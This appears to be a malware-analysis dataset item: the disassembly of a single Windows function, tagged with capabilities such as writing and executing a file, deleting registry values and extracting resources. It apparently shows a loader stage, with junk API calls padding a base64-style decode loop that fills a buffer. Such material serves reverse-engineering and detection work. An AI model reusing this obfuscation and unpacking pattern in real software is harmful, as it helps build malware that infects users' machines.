Function at 0x40108f
Capabilities:
Create process on windows
Delete registry value
Extract resource via kernel32 functions
Get common file path
Set file attributes
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10ac
call fcn.00418cb0
mov eax, dword [0x42c14c]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
xor esi, esi
cmp dword [0x50bce4], 0x128e
push edi
jne 0x4010e3
lea eax, [ebp - 0x1030]
push eax
lea eax, [ebp - 0x1038]
push eax
lea eax, [ebp - 0x808]
push eax
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeDisplayNameW]
push esi
push esi
lea eax, [ebp - 0x1008]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpynW]
push dword [0x50bce4]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
cmp dword [0x50bce4], 0x77d
mov dword [ebp - 0x1030], eax
jne 0x401112
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_RegisterEventSourceW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov eax, dword [0x50bce4]
xor ebx, ebx
xor edi, edi
mov dword [ebp - 0x1034], ebx
cmp eax, esi
jbe 0x40139e
jmp 0x401131
mov ebx, dword [ebp - 0x1034]
cmp eax, 0x37e
jne 0x401157
push esi
push esi
call dword [sym.imp.KERNEL32.dll_Module32FirstW]
lea eax, [ebp - 0x103c]
push eax
push dword [ebp - 0x103c]
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
cmp dword [0x50bce4], 0x75d
mov eax, dword [0x4e465c]
mov al, byte [eax + ebx]
mov byte [ebp - 0x102a], al
jne 0x40118c
call dword [sym.imp.KERNEL32.dll_SetFileApisToANSI]
lea eax, [ebp - 0x1044]
push eax
lea eax, [ebp - 0x1048]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetProcessAffinityMask]
mov eax, dword [0x4e465c]
mov cl, byte [eax + ebx + 1]
mov byte [ebp - 0x1029], cl
mov cl, byte [eax + ebx + 2]
mov al, byte [eax + ebx + 3]
mov bl, al
and bl, 0xf0
shl bl, 2
cmp dword [0x50bce4], 0xbd3
mov byte [ebp - 0x102b], cl
mov byte [ebp - 0x102c], al
jne 0x4011d9
lea eax, [ebp - 0x104c]
push eax
push esi
lea eax, [ebp - 0x101c]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
mov al, byte [ebp - 0x102c]
or byte [ebp - 0x102a], bl
and al, 0xfc
shl al, 4
or byte [ebp - 0x1029], al
cmp dword [0x50bce4], 0xb75
jne 0x401213
push esi
lea eax, [ebp - 0x808]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameW]
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
cmp dword [0x50bce4], 0xae7
mov dword [0x4e6b14], 0xa05de3ae
jne 0x40123f
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push esi
lea eax, [ebp - 0x808]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov al, byte [ebp - 0x102c]
mov ebx, dword [ebp - 0x1030]
shl al, 6
or byte [ebp - 0x102b], al
mov al, byte [ebp - 0x102a]
mov byte [edi + ebx], al
cmp dword [0x50bce4], 0x60e
jne 0x401280
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
lea eax, [ebp - 0x1040]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ProcessIdToSessionId]
mov al, byte [ebp - 0x1029]
inc edi
mov byte [edi + ebx], al
cmp dword [0x50bce4], 0x5b7
mov dword [ebp - 0x1038], edi
jne 0x4012e9
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStructW]
xor eax, eax
mov dword [ebp - 0x101c], esi
lea edi, [ebp - 0x1018]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push esi
stosd dword es:[edi], eax
lea eax, [ebp - 0x101c]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFileEx]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
lea eax, [ebp - 0x1028]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemPowerStatus]
mov edi, dword [ebp - 0x1038]
mov ebx, dword [ebp - 0x1030]
mov al, byte [ebp - 0x102b]
inc edi
mov byte [edi + ebx], al
cmp dword [0x50bce4], 0x8cb
mov dword [ebp - 0x1038], edi
jne 0x401347
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteTapemark]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_SetFileShortNameA]
xor eax, eax
mov dword [ebp - 0x101c], esi
lea edi, [ebp - 0x1018]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
lea eax, [ebp - 0x101c]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteFileGather]
push esi
call dword [sym.imp.KERNEL32.dll_AddAtomA]
mov edi, dword [ebp - 0x1038]
inc edi
cmp dword [0x50bce4], 0xed
jne 0x401386
lea eax, [ebp - 0x105c]
push eax
lea eax, [ebp - 0x10a8]
push eax
push esi
push esi
push esi
push esi
push esi
push esi
lea eax, [ebp - 0xc08]
push eax
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_CreateProcessAsUserA]
push esi
lea eax, [ebp - 0x408]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GlobalGetAtomNameA]
add dword [ebp - 0x1034], 4
mov eax, dword [0x50bce4]
cmp dword [ebp - 0x1034], eax
jb 0x40112b
cmp eax, 0xebc
jne 0x4013c3
push esi
call dword [sym.imp.KERNEL32.dll_GlobalDeleteAtom]
push esi
lea eax, [ebp - 0x1040]
push eax
push esi
lea eax, [ebp - 0x408]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleA]
mov eax, dword [ebp - 0x1030]
or dword [0x4e464c], 0xffffffff
cmp dword [0x50bce4], 0xe4f
mov dword [0x4e465c], eax
mov dword [0x4e4648], 0x9f0da580
jne 0x4013f2
push esi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [ebp - 4]
mov dword [0x50bce4], edi
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004025a2
leave
ret